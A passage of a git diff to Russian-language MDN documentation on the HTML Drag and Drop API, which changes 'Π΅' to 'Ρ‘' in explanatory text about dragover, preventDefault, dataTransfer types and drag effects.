-<p>Вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Event.preventDefault","preventDefault()")}} Π²ΠΎ врСмя ΠΎΠ±ΠΎΠΈΡ… событий <code>{{event("dragenter")}}</code> ΠΈ <code>{{event("dragover")}}</code> ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΠ°Π΄Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π² этом мСстС. Однако ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β  {{domxref("Event.preventDefault","preventDefault()")}} события Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ситуациях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ пСрСтаскивании ссылки).</p>
+<p>Вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Event.preventDefault","preventDefault()")}} Π²ΠΎ врСмя ΠΎΠ±ΠΎΠΈΡ… событий <code>{{event("dragenter")}}</code> ΠΈ <code>{{event("dragover")}}</code> ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΠ°Π΄Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π² этом мСстС. Однако ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β  {{domxref("Event.preventDefault","preventDefault()")}} события Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ситуациях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ пСрСтаскивании ссылки).</p>
-<p>Для этого Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая провСряСт условиС ΠΈ отмСняСт событиС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π΅Π³ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ. Если условиС Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ, Π½Π΅ отмСняйтС событиС, ΠΈ сброс пСрСтаскиваСмых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отпустит ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ.</p>
+<p>Для этого Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая провСряСт условиС ΠΈ отмСняСт событиС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π΅Π³ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ. Если условиС Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ, Π½Π΅ отмСняйтС событиС, ΠΈ сброс пСрСтаскиваСмых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отпустит ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ.</p>
-<p>НаиболСС распространСнным являСтся принятиС ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΈΠ΅ сброса Π² зависимости ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ… пСрСтаскивания ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ Π΄Π°Π½Π½Ρ‹Ρ… β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ссылок ΠΈΠ»ΠΈ ΠΈ Ρ‚ΠΎΠ³ΠΎ, ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ. Для этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свойство {{domxref("DataTransfer.types","types")}} события {{domxref("DragEvent.dataTransfer","dataTransfer")}} (свойство). Бвойство {{domxref("DataTransfer.types","types")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΈΠ· строк, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈ Π½Π°Ρ‡Π°Π»Π΅ пСрСтаскивания, Π² порядкС ΠΎΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠ³ΠΎ ΠΊ Π½Π°ΠΈΠΌΠ΅Π½Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠΌΡƒ.</p>
+<p>НаиболСС распространённым являСтся принятиС ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΈΠ΅ сброса Π² зависимости ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ… пСрСтаскивания ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ Π΄Π°Π½Π½Ρ‹Ρ… β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ссылок ΠΈΠ»ΠΈ ΠΈ Ρ‚ΠΎΠ³ΠΎ, ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ. Для этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свойство {{domxref("DataTransfer.types","types")}} события {{domxref("DragEvent.dataTransfer","dataTransfer")}} (свойство). Бвойство {{domxref("DataTransfer.types","types")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΈΠ· строк, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈ Π½Π°Ρ‡Π°Π»Π΅ пСрСтаскивания, Π² порядкС ΠΎΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠ³ΠΎ ΠΊ Π½Π°ΠΈΠΌΠ΅Π½Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠΌΡƒ.</p>
<pre class="brush: js">function doDragOver(event) {
const isLink = event.dataTransfer.types.includes("text/uri-list");
@@ -201,7 +201,7 @@ dt.setData("text/plain", "https://www.mozilla.org");
Β  }
}</pre>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>includes</code> Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, присутствуСт Π»ΠΈ Ρ‚ΠΈΠΏ <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> Π² спискС Ρ‚ΠΈΠΏΠΎΠ². Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΠΌ событиС, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ сброс становится Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½. Если пСрСтаскиваСмыС Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ содСрТат ссылки, событиС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ, ΠΈ сброс Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π² этом мСстС.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>includes</code> Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, присутствуСт Π»ΠΈ Ρ‚ΠΈΠΏ <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> Π² спискС Ρ‚ΠΈΠΏΠΎΠ². Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΠΌ событиС, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ сброс становится Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½. Если пСрСтаскиваСмыС Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ содСрТат ссылки, событиС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ, ΠΈ сброс Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π² этом мСстС.</p>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π»ΠΈΠ±ΠΎ свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, Π»ΠΈΠ±ΠΎ свойство{{domxref("DataTransfer.dropEffect","dropEffect")}}, Π»ΠΈΠ±ΠΎ ΠΎΠ±Π° ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ свСдСния ΠΎ Ρ‚ΠΈΠΏΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. ЕстСствСнно, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ любого свойства Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ эффСкта, Ссли Π²Ρ‹ Π½Π΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚Π΅ событиС.</p>
@@ -299,7 +299,7 @@ dt.setData("text/plain", "https://www.mozilla.org");
<p>Если свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>none</code> Π²ΠΎ врСмя события <code>{{event("dragend")}}</code>, Ρ‚ΠΎ пСрСтаскиваниС Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС эффСкт ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, какая опСрация Π±Ρ‹Π»Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ послС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСмСщСния для удалСния пСрСтаскиваСмого элСмСнта ΠΈΠ· старого располоТСния. Бвойство {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} Π±ΡƒΠ΄Π΅Ρ‚ присвоСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΠ» пСрСтаскиваниС (Π½Π°ΠΆΠ°Π² <kbd>Escape</kbd>), ΠΈ <code>false</code> Ссли пСрСтаскиваниС Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ ΠΏΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ нСдопустимая Ρ†Π΅Π»ΡŒ пСрСтаскивания, ΠΈΠ»ΠΈ Ссли ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ.</p>
-<p>Бброс ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΎΠΊΠ½Π° ΠΈΠ»ΠΈ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅<code>{{event("dragend")}}</code>Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ всСгда, нСзависимо ΠΎΡ‚ этого. Бвойство события {{domxref("MouseEvent.screenX","screenX")}} ΠΈ {{domxref("MouseEvent.screenY","screenY")}} Π±ΡƒΠ΄ΡƒΡ‚ установлСны Π² ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ экрана, Π³Π΄Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π» сброс.</p>
+<p>Бброс ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΎΠΊΠ½Π° ΠΈΠ»ΠΈ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅<code>{{event("dragend")}}</code>Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ всСгда, нСзависимо ΠΎΡ‚ этого. Бвойство события {{domxref("MouseEvent.screenX","screenX")}} ΠΈ {{domxref("MouseEvent.screenY","screenY")}} Π±ΡƒΠ΄ΡƒΡ‚ установлСны Π² ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ экрана, Π³Π΄Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π» сброс.</p>
<p>Когда событиС <code>{{event("dragend")}}</code> Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΎ распространСниС, опСрация пСрСтаскивания Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°.</p>
diff --git a/files/ru/web/api/html_drag_and_drop_api/index.html b/files/ru/web/api/html_drag_and_drop_api/index.html
index 1e434f28af..d88ca60276 100644
--- a/files/ru/web/api/html_drag_and_drop_api/index.html
+++ b/files/ru/web/api/html_drag_and_drop_api/index.html
@@ -14,9 +14,9 @@ original_slug: Web/Guide/HTML/Drag_and_drop
<ul>
<li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ пСрСносимый элСмСнт. ΠŸΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ trueΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΡƒΒ draggable элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ пСрСнСсти. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#draggableattribute">The Draggable Attribute</a>.</li>
- <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅, содСрТащиС строку тСкста ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ информации смотритС <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</li>
+ <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅, содСрТащиС строку тСкста ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ информации смотритС <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</li>
<li>(ΠΠ΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ) ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ рядом с ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΌΡ‹ΡˆΠΈ Π½Π° протяТСнии всСй ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСтаскивания.Β  Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ сгСнСрирована ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² зависимости ΠΎΡ‚ элСмСнта, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹Π»Π° Π·Π°ΠΆΠ°Ρ‚Π° ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΌΡ‹ΡˆΠΈΒ (Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ элСмСнт пСрСносят). ΠžΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ с установкой изобраТСния пСрСтаскивания ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎ ссылкС <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Setting the Drag Feedback Image</a>.</li>
- <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ эффСкты пСрСноса. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ Ρ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΈΡ… эффСкта: <code>copy</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΈΠ· ΠΏΡ€Π΅ΠΆΠ½Π΅Π³ΠΎ мСста располоТСния Π² Π½ΠΎΠ²ΠΎΠ΅, <code>move</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ пСрСносятся Π½Π° Π½ΠΎΠ²ΠΎΠ΅ мСсто, ΠΈΒ <code>link</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ создаСтся нСкая Ρ„ΠΎΡ€ΠΌΠ° взаимодСйствия ΠΈΠ»ΠΈ связи ΠΌΠ΅ΠΆΠ΄Ρƒ исходной Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΈ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ назначСния. На протяТСнии ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСмСщСния, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ° которая слСдуСт Π·Π° курсором ΠΌΡ‹ΡˆΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ элСмСнт Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΏΠΎΠ΄ курсором. Если пСрСнос Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΎ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
+ <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ эффСкты пСрСноса. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ Ρ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΈΡ… эффСкта: <code>copy</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΈΠ· ΠΏΡ€Π΅ΠΆΠ½Π΅Π³ΠΎ мСста располоТСния Π² Π½ΠΎΠ²ΠΎΠ΅, <code>move</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ пСрСносятся Π½Π° Π½ΠΎΠ²ΠΎΠ΅ мСсто, ΠΈΒ <code>link</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ создаётся нСкая Ρ„ΠΎΡ€ΠΌΠ° взаимодСйствия ΠΈΠ»ΠΈ связи ΠΌΠ΅ΠΆΠ΄Ρƒ исходной Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΈ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ назначСния. На протяТСнии ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСмСщСния, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ° которая слСдуСт Π·Π° курсором ΠΌΡ‹ΡˆΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ элСмСнт Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΏΠΎΠ΄ курсором. Если пСрСнос Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΎ. 